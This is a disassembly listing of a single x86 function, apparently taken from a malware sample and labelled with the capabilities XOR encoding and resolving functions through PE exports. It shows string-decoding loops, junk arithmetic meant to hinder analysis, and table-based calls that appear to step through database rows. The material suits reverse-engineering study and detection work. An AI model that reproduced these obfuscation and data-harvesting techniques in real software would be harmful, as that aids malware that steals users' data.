Function at 0x418ee6
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x158
movzx eax, word [0x42b9ec]
push ebp
push esi
sub eax, 0x57bb5f82
mov dword [esp + 0xbc], ecx
push edi
mov edi, edx
mov dword [0x42b9dc], eax
call fcn.00420053
movzx esi, word [0x42b9ec]
mov ebp, eax
imul esi, esi, 0x805cff57
imul edx, esi, 0x4666
mov dword [0x42b9dc], esi
or edx, 0xb24
mov word [0x42b9ec], dx
test ebp, ebp
je 0x4197e9
push ebx
xor ebx, ebx
mov dword [esp + 0x14], 0xb2c9c27b
mov dword [esp + 0x18], 0xc1c5c5b9
mov ecx, ebx
mov dword [esp + 0x1c], 0x84c9bbbf
mov esi, 0xff
mov dword [esp + 0x20], 0xbfc2c7c9
mov word [esp + 0x24], 0xbbca
movzx eax, byte [esp + ecx + 0x14]
sub ax, 0x56
and ax, si
mov word [esp + ecx*2 + 0xf0], ax
inc ecx
cmp ecx, 0x12
jl 0x418f6f
xor eax, eax
mov word [esp + 0x114], ax
movzx eax, dx
imul eax, eax, 0x471d1ff7
push edi
add eax, 0xe5f47967
mov dword [0x42b9dc], eax
add eax, 0xffffb458
mov word [0x42b9ec], ax
lea eax, [esp + 0xf4]
push eax
call fcn.00422def
movzx edx, word [0x42b9dc]
mov esi, eax
pop ecx
pop ecx
mov ecx, edx
mov dword [esp + 0xcc], esi
and ecx, 0xfa11
mov word [0x42b9ec], cx
test esi, esi
je 0x4197e8
add edx, 0xffffdb22
movzx ecx, dx
imul eax, ecx, 0xff1b302d
mov ecx, esi
mov dword [0x42b9dc], eax
lea eax, [edx + 0x5f84]
mov word [0x42b9ec], ax
call fcn.00422f59
mov cx, word [0x42b9ec]
mov esi, eax
mov edx, 0xb7ae
movzx eax, cx
add cx, dx
mov dword [esp + 0xc8], esi
mov word [0x42b9ec], cx
test esi, esi
je 0x4197cd
add eax, 0xe00cb594
xor edx, edx
movzx eax, ax
mov ecx, esi
add eax, 0xb309d569
mov dword [0x42b9dc], eax
or eax, 0xc7e3
mov word [0x42b9ec], ax
call fcn.00423747
mov edi, eax
mov dword [esp + 0xbc], edi
test edi, edi
je 0x419783
mov dx, word [0x42b9ec]
mov eax, 0x2e1d
sub dx, ax
mov ecx, 0x23e0
movzx eax, dx
imul eax, ecx
mov ecx, 0x3f60
push ebx
push 1
add ax, cx
mov ecx, 0x943c
or ax, cx
mov word [0x42b9ec], ax
movzx eax, ax
or eax, 0x33f7f691
mov dword [0x42b9dc], eax
lea eax, [esp + 0xc8]
push eax
push edi
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x41974f
mov dword [esp + 0x68], 0x6067606e
mov ecx, ebx
mov dword [esp + 0x6c], 0x833b6f5e
mov dword [esp + 0x70], 0x478f8e8a
mov dword [esp + 0x74], 0x638e843b
mov dword [esp + 0x78], 0x6a8b8f8f
mov dword [esp + 0x7c], 0x47948789
mov dword [esp + 0x80], 0x8f7c8b3b
mov dword [esp + 0x84], 0x843b4783
mov dword [esp + 0x88], 0x7e806e8e
mov dword [esp + 0x8c], 0x47808d90
mov dword [esp + 0x90], 0x8b93803b
mov dword [esp + 0x94], 0x47948d84
mov dword [esp + 0x98], 0x887c893b
mov dword [esp + 0x9c], 0x913b4780
mov dword [esp + 0xa0], 0x8090877c
mov dword [esp + 0xa4], 0x6a6d613b
mov dword [esp + 0xa8], 0x8a883b68
mov dword [esp + 0xac], 0x8a7e7a95
mov dword [esp + 0xb0], 0x8084868a
mov byte [esp + 0xb4], 0x8e
mov al, byte [esp + ecx + 0x68]
sub al, 0x1b
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 0x4d
jl 0x419190
mov ecx, 0x612
mov byte [esp + 0x165], bl
add cx, word [0x42b9ec]
mov edx, 0x240c
xor cx, dx
imul eax, ecx, 0x4840
push ebx
mov word [0x42b9ec], ax
movzx eax, cx
sub eax, 0x68ae8c5
or eax, 0x337d7e73
mov dword [0x42b9dc], eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x124]
push eax
push dword [esp + 0xd0]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x419737
mov cx, word [0x42b9ec]
lea edi, [esp + 0x14]
push dword [esp + 0x10]
mov eax, 0x38e
add cx, ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cx
and eax, 0xf4c4e286
or eax, 0x9440a082
mov dword [0x42b9dc], eax
lea eax, [ecx - 0xf1f]
or eax, 0xe0e7
xor eax, 0x36f5
mov word [0x42b9ec], ax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x419613
mov word [esp + 0x28], 0xf6f9
mov word [esp + 0x2c], 9
mov ecx, ebx
mov word [esp + 0x30], 9
mov al, byte [esp + ecx + 0x28]
add al, 0x14
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 2
jl 0x419269
mov eax, dword [0x42b9dc]
and eax, 0xc033
mov byte [esp + 0xba], bl
sub eax, 0x55f5
movzx eax, ax
imul ecx, eax, 0x4ff22aa4
push ebx
push dword [esp + 0x14]
mov eax, ecx
or eax, 0xbf56
mov word [0x42b9ec], ax
imul eax, ecx, 0x9e4318bb
mov dword [0x42b9dc], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx ecx, word [0x42b9ec]
mov eax, 0x4f3b
add cx, ax
movzx eax, cx
or eax, 0xcb08b3ec
mov dword [0x42b9dc], eax
push 1
push dword [esp + 0x18]
lea eax, [ecx - 0x19d7]
mov word [0x42b9ec], ax
call dword [ebp + 0x10]
add esp, 0xc
test eax, eax
je 0x419374
cmp byte [eax], 0x31
jne 0x419374
mov dword [esp + 0x34], 0x625f6116
mov ecx, ebx
mov word [esp + 0x38], 0x1652
mov al, byte [esp + ecx + 0x34]
sub al, 0xd
mov byte [esp + ecx + 0xd0], al
inc ecx
cmp ecx, 6
jl 0x419321
mov eax, dword [0x42b9dc]
lea edx, [esp + 0xd0]
add eax, 0xffff8394
mov byte [esp + 0xd6], bl
movzx ecx, ax
xor ecx, 0xba71ba17
mov eax, ecx
xor eax, 0xe5cc2ef5
mov dword [0x42b9dc], eax
imul eax, ecx, 0x1a2b
and eax, 0x4f3e
mov word [0x42b9ec], ax
jmp 0x4193d1
mov dword [esp + 0x44], 0x9c9196d9
mov ecx, ebx
mov word [esp + 0x48], 0x9583
mov byte [esp + 0x4a], 0xd9
mov al, byte [esp + ecx + 0x44]
xor al, 0xd0
mov byte [esp + ecx + 0xe0], al
inc ecx
cmp ecx, 7
jl 0x41938a
mov eax, dword [0x42b9dc]
lea edx, [esp + 0xe0]
movzx ecx, ax
or eax, 0xe3a944e5
mov dword [0x42b9dc], eax
imul eax, ecx, 0x5a62
mov ecx, 0xc47d
mov byte [esp + 0xe7], bl
sub ecx, eax
mov word [0x42b9ec], cx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.004236a5
mov ax, word [0x42b9ec]
pop ecx
mov ecx, 0x9185
or ax, cx
mov word [0x42b9ec], ax
movzx eax, ax
push 2
push dword [esp + 0x14]
add eax, 0x838077d
mov dword [0x42b9dc], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx ecx, word [0x42b9ec]
mov eax, 0x13c1
imul ecx, eax
push 3
push dword [esp + 0x18]
movzx eax, cx
or eax, 0xebbfb9d0
mov word [0x42b9ec], cx
sub eax, 0x7562e7e6
mov dword [0x42b9dc], eax
call dword [ebp + 0x10]
mov edx, dword [0x42b9dc]
add esp, 0xc
movzx edi, dx
test eax, eax
je 0x4194ac
cmp byte [eax], 0x31
jne 0x4194ac
mov dword [esp + 0x3c], 0xa3a0a257
mov ecx, ebx
mov word [esp + 0x40], 0x5793
mov al, byte [esp + ecx + 0x3c]
sub al, 0x4e
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 6
jl 0x419477
sub edx, 0x23c5d053
mov byte [esp + 0xde], bl
mov dword [0x42b9dc], edx
lea eax, [edi + 0x1d57]
lea edx, [esp + 0xd8]
jmp 0x4194fb
mov dword [esp + 0x4c], 0x8f8285ca
mov ecx, ebx
mov word [esp + 0x50], 0x8690
mov byte [esp + 0x52], 0xca
mov al, byte [esp + ecx + 0x4c]
xor al, 0xc3
mov byte [esp + ecx + 0xe8], al
inc ecx
cmp ecx, 7
jl 0x4194c2
lea eax, [edi + 0x5ece]
mov byte [esp + 0xef], bl
movzx eax, ax
lea edx, [esp + 0xe8]
add eax, 0xa59f8b66
mov dword [0x42b9dc], eax
add eax, 0xffffde1d
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov word [0x42b9ec], ax
call fcn.004236a5
imul eax, dword [0x42b9dc], 0x4ed5
pop ecx
push 4
push dword [esp + 0x14]
mov word [0x42b9ec], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, word [0x42b9ec]
lea edx, [esp + 0x30]
and eax, 0xb9d263d6
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov dword [0x42b9dc], eax
call fcn.004236a5
sub dword [0x42b9dc], 0x7f240f21
push 5
push dword [esp + 0x1c]
call dword [ebp + 0x20]
add esp, 0x10
push eax
push 5
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
sub dword [0x42b9dc], 0x44dcb228
lea edx, [esp + 0x34]
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.004236a5
mov eax, dword [0x42b9dc]
push 6
push dword [esp + 0x1c]
add eax, 0x2f1b
mov word [0x42b9ec], ax
call dword [ebp + 0x20]
add esp, 0x10
push eax
push 6
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, word [0x42b9ec]
lea edx, [esp + 0xbc]
and eax, 0xcc69c497
lea ecx, [esp + 0x18]
sub eax, 0x6e0825e7
push 0xffffffffffffffff
mov dword [0x42b9dc], eax
call fcn.004236a5
push dword [esp + 0x18]
call dword [ebp + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x419259
and dword [0x42b9dc], 0xa2242a6e
cmp dword [esp + 0x14], ebx
je 0x419730
mov dword [esp + 0x54], 0xfafefed2
mov ecx, 0xff
mov dword [esp + 0x58], 0xbe02f4f8
mov dword [esp + 0x5c], 0xee02fbb4
mov dword [esp + 0x60], 0xbd02fbb4
mov word [esp + 0x64], 0x703
mov byte [esp + 0x66], 3
movzx eax, byte [esp + ebx + 0x54]
add ax, 0x71
and ax, cx
mov word [esp + ebx*2 + 0x68], ax
inc ebx
cmp ebx, 0x13
jl 0x419658
push dword [esp + 0x16c]
xor eax, eax
mov ecx, 0x7b61
push dword [esp + 0xc8]
mov word [esp + 0x96], ax
mov ax, word [0x42b9ec]
xor ax, cx
mov word [0x42b9ec], ax
movzx eax, ax
and eax, 0x7f78b494
mov dword [0x42b9dc], eax
lea eax, [esp + 0x70]
push eax
call fcn.00422def
mov cx, word [0x42b9ec]
mov esi, eax
mov eax, 0x6863
add esp, 0xc
add cx, ax
mov word [0x42b9ec], cx
test esi, esi
je 0x419712
mov eax, dword [0x42b9dc]
mov edx, dword [esp + 0x1c]
or eax, 0xfd3b559a
mov ecx, dword [esp + 0x14]
mov dword [0x42b9dc], eax
add eax, 0xffffd238
push esi
mov word [0x42b9ec], ax
call fcn.0041e192
xor dword [0x42b9dc], 0x97271c1a
push esi
call fcn.004056f0
pop ecx
pop ecx
mov cx, word [0x42b9ec]
push dword [esp + 0x14]
movzx eax, cx
xor eax, 0xb2d4b9eb
mov dword [0x42b9dc], eax
call fcn.004056f0
mov esi, dword [esp + 0xcc]
pop ecx
mov edi, dword [esp + 0xbc]
mov eax, dword [0x42b9dc]
push dword [esp + 0x10]
and eax, 0xa2d8
mov word [0x42b9ec], ax
call dword [ebp + 0x18]
pop ecx
movzx eax, word [0x42b9ec]
push dword [esp + 0xc0]
sub eax, 0x6154c992
mov dword [0x42b9dc], eax
call dword [ebp + 0x1c]
movzx eax, word [0x42b9ec]
and eax, 0x68916ec2
push edi
mov dword [0x42b9dc], eax
call fcn.004056f0
pop ecx
pop ecx
movzx eax, word [0x42b9ec]
xor ecx, ecx
add eax, 0xf945b3b9
mov edx, 0x62d87b
mov dword [0x42b9dc], eax
inc ecx
and eax, 0x887c
push esi
mov word [0x42b9ec], ax
call fcn.00415084
call eax
mov eax, dword [0x42b9dc]
add eax, 0x50ce
push esi
mov word [0x42b9ec], ax
call fcn.004056f0
pop ecx
mov cx, word [0x42b9ec]
push dword [esp + 0xcc]
movzx eax, cx
imul eax, eax, 0x69760f90
mov dword [0x42b9dc], eax
call fcn.004056f0
pop ecx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x158
ret